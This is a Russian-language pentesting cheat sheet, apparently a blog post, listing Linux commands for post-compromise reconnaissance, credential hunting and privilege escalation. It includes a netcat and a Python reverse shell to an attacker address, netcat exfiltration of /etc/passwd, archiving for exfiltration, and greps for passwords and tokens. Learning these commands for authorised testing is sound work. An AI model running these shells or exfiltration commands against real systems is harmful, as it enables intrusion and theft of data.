Терминал — это твой основной инструмент. Не знаешь команды — ты не хакер, ты пользователь GUI с Kali-обоями на рабочем столе.
Прежде чем лить шеллы и запускать Metasploit, нужно уметь ходить по системе с закрытыми глазами. Команды ниже — это не «полезно знать», это минимальный словарный запас пентестера.
📁 Навигация и работа с файлами
Первое, что делаешь после попадания в систему — осматриваешься. Быстро и тихо:
|
1 2 3 4 5 6 7 8 |
pwd # где ты сейчас? ls -la # список файлов с правами и скрытыми ls -la /etc/passwd # смотришь пользователей системы cd /var/www/html # перешёл в директорию cat /etc/passwd # содержимое файла less /var/log/auth.log # листаешь лог авторизаций (q — выход) file secret.bin # тип файла без расширения stat backdoor.php # время создания/изменения файла |
Почему это важно: после заливки шелла ты всегда начинаешь с pwd + ls -la. Именно так находишь конфиги, .env-файлы с паролями и другие подарки от разработчиков.
🔎 Поиск: find и grep — твои лучшие друзья
Два инструмента, без которых пентест превращается в угадайку:
|
1 2 3 4 5 6 |
# FIND — ищем файлы по параметрам find / -name "*.conf" 2>/dev/null # все конфиг-файлы find / -perm -4000 2>/dev/null # SUID-файлы (лифт для privesc!) find /var/www -name "*.php" -mmin -60 # PHP-файлы за последний час find / -user root -writable 2>/dev/null # файлы root'а, куда можно писать find / -name "id_rsa" 2>/dev/null # ищем приватные SSH-ключи |
|
1 2 3 4 5 |
# GREP — ищем содержимое внутри файлов grep -r "password" /var/www/ 2>/dev/null # пароли в исходниках grep -r "DB_PASS" /var/www/ --include="*.env" # .env файлы grep -i "secret\|token\|key\|passwd" /etc/ # ключи и токены grep -n "admin" /etc/passwd # строка с номером |
💡 -r — рекурсивно, -i — без учёта регистра, -n — номер строки, 2>/dev/null — прячешь ошибки «нет доступа». Запомни эти флаги как отче наш.
🌐 Сеть: разведка и анализ трафика
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
# Базовая сетевая разведка ifconfig # IP-адреса интерфейсов ip a # современная альтернатива ifconfig ip route # таблица маршрутизации (где шлюз?) netstat -tulpn # открытые порты и слушающие сервисы ss -tulpn # то же, но быстрее (замена netstat) cat /etc/hosts # внутренние DNS-записи — золото! cat /etc/resolv.conf # DNS-серверы цели # Проверка связи и трассировка ping -c 4 192.168.1.1 # жив ли хост? traceroute 8.8.8.8 # маршрут пакетов curl -I http://target.com # HTTP-заголовки (fingerprinting) wget -q -O- http://169.254.169.254/ # проверка AWS metadata (cloud!) |
|
1 2 3 4 5 |
# Перехват трафика tcpdump -i eth0 # весь трафик tcpdump -i eth0 port 80 -A # HTTP в читаемом виде tcpdump -i eth0 'tcp port 445' # SMB-трафик tcpdump -w capture.pcap # сохранить в файл для Wireshark |
Лайфхак: cat /etc/hosts на взломанной машине часто раскрывает внутреннюю инфраструктуру — имена серверов, БД, AD-контроллеры. Одна команда — карта внутренней сети.
👤 Пользователи и привилегии — путь к root’у
Это сердце Privilege Escalation. Смотри внимательно:
|
1 2 3 4 5 6 7 8 9 |
whoami # кто ты сейчас? id # твои группы и UID uname -a # версия ядра (ищем kernel exploit) cat /etc/passwd # все пользователи системы cat /etc/shadow # хэши паролей (нужен root) sudo -l # что можешь запустить через sudo? cat /etc/sudoers # полная политика sudo last # кто последний логинился? w # кто сейчас в системе? |
|
1 2 3 4 5 6 |
# Поиск вектора для повышения привилегий find / -perm -4000 -type f 2>/dev/null # SUID-бинари find / -perm -2000 -type f 2>/dev/null # SGID-бинари crontab -l # cron текущего пользователя cat /etc/crontab # системные cron-задачи ls -la /etc/cron* # все cron-директории |
🔥 sudo -l — первая команда после получения шелла. Если видишь (ALL) NOPASSWD: /usr/bin/vim — ты уже root, просто ещё не знаешь об этом. Иди на GTFOBins и проверяй.
🔧 Процессы и сервисы
|
1 2 3 4 5 6 7 8 9 |
ps aux # все запущенные процессы ps aux | grep apache # фильтр по имени процесса top # интерактивный мониторинг htop # top, но красивее (если установлен) systemctl list-units --type=service # все сервисы systemd systemctl status ssh # статус конкретного сервиса kill -9 <PID> # убить процесс по PID lsof -i :80 # кто занимает порт 80? lsof -p <PID> # открытые файлы процесса |
📡 Nmap прямо из командной строки
Да, это отдельный инструмент, но без него не обходится ни один пентест:
|
1 2 3 4 5 6 |
nmap -sV -sC -T4 192.168.1.1 # версии сервисов + дефолтные скрипты nmap -p- --min-rate 5000 target # все 65535 портов, быстро nmap -sU --top-ports 100 target # топ-100 UDP портов nmap -O target # определение ОС nmap -sV --script=vuln target # автоматическая проверка на уязвимости nmap -sn 192.168.1.0/24 # ping sweep — все живые хосты в сети |
🐚 Netcat — швейцарский нож
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
# Слушаем входящий шелл: nc -lvnp 4444 # Реверс-шелл (на стороне жертвы): nc -e /bin/bash 10.10.10.1 4444 # Передача файлов между машинами: # Приёмник: nc -lvnp 9001 > loot.txt # Отправитель: nc 10.10.10.1 9001 < /etc/passwd # Проверка открытого порта: nc -zv target.com 80 |
🗜️ Архивы, передача файлов и хитрости
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
# Скачать файл (когда wget и curl недоступны): python3 -m http.server 8080 # поднял HTTP-сервер на атакующей машине # Архивирование для эксфильтрации: tar czf loot.tar.gz /var/www/html/ zip -r backup.zip /etc/ # Base64 — передать бинарник через текстовый канал: base64 shell.php # кодируем base64 -d encoded.txt > shell.php # декодируем # Быстро проверить хэш файла: md5sum suspicious.bin sha256sum exploit.py |
🧠 Полезные однострочники — сохрани, пригодится
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
# История команд (смотри чужие действия в системе): cat ~/.bash_history cat /home/*/.bash_history 2>/dev/null # Все файлы, изменённые за последние 10 минут: find / -mmin -10 -type f 2>/dev/null # Быстрый реверс-шелл на Python: python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("10.10.10.1",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh"])' # Проверка на Docker/LXC (container escape?): cat /proc/1/cgroup | grep docker ls /.dockerenv # Все переменные окружения (там бывают токены!): env | grep -i "secret\|token\|key\|pass\|api" |
📋 Шпаргалка: после получения шелла
Вот твой стандартный чеклист на первые 60 секунд в системе:
|
1 2 3 4 5 6 7 8 9 10 |
1. whoami && id # кто я? 2. uname -a # что за система? 3. ip a && cat /etc/hosts # сеть и соседи 4. sudo -l # лёгкий путь к root? 5. find / -perm -4000 2>/dev/null # SUID-бинари 6. crontab -l && cat /etc/crontab # cron-задачи 7. cat ~/.bash_history # история команд 8. env | grep -i "pass\|token\|key" # секреты в окружении 9. ps aux # запущенные процессы 10. ls -la /var/www/ /opt/ /home/ # интересные директории |
💣 Итог: Linux — это язык пентеста. Чем лучше ты его знаешь, тем меньше шума производишь в системе. Автоматизируй всё выше в bash-скрипт для быстрого enum’а — и ты уже на шаг впереди большинства новичков с GUI-инструментами.



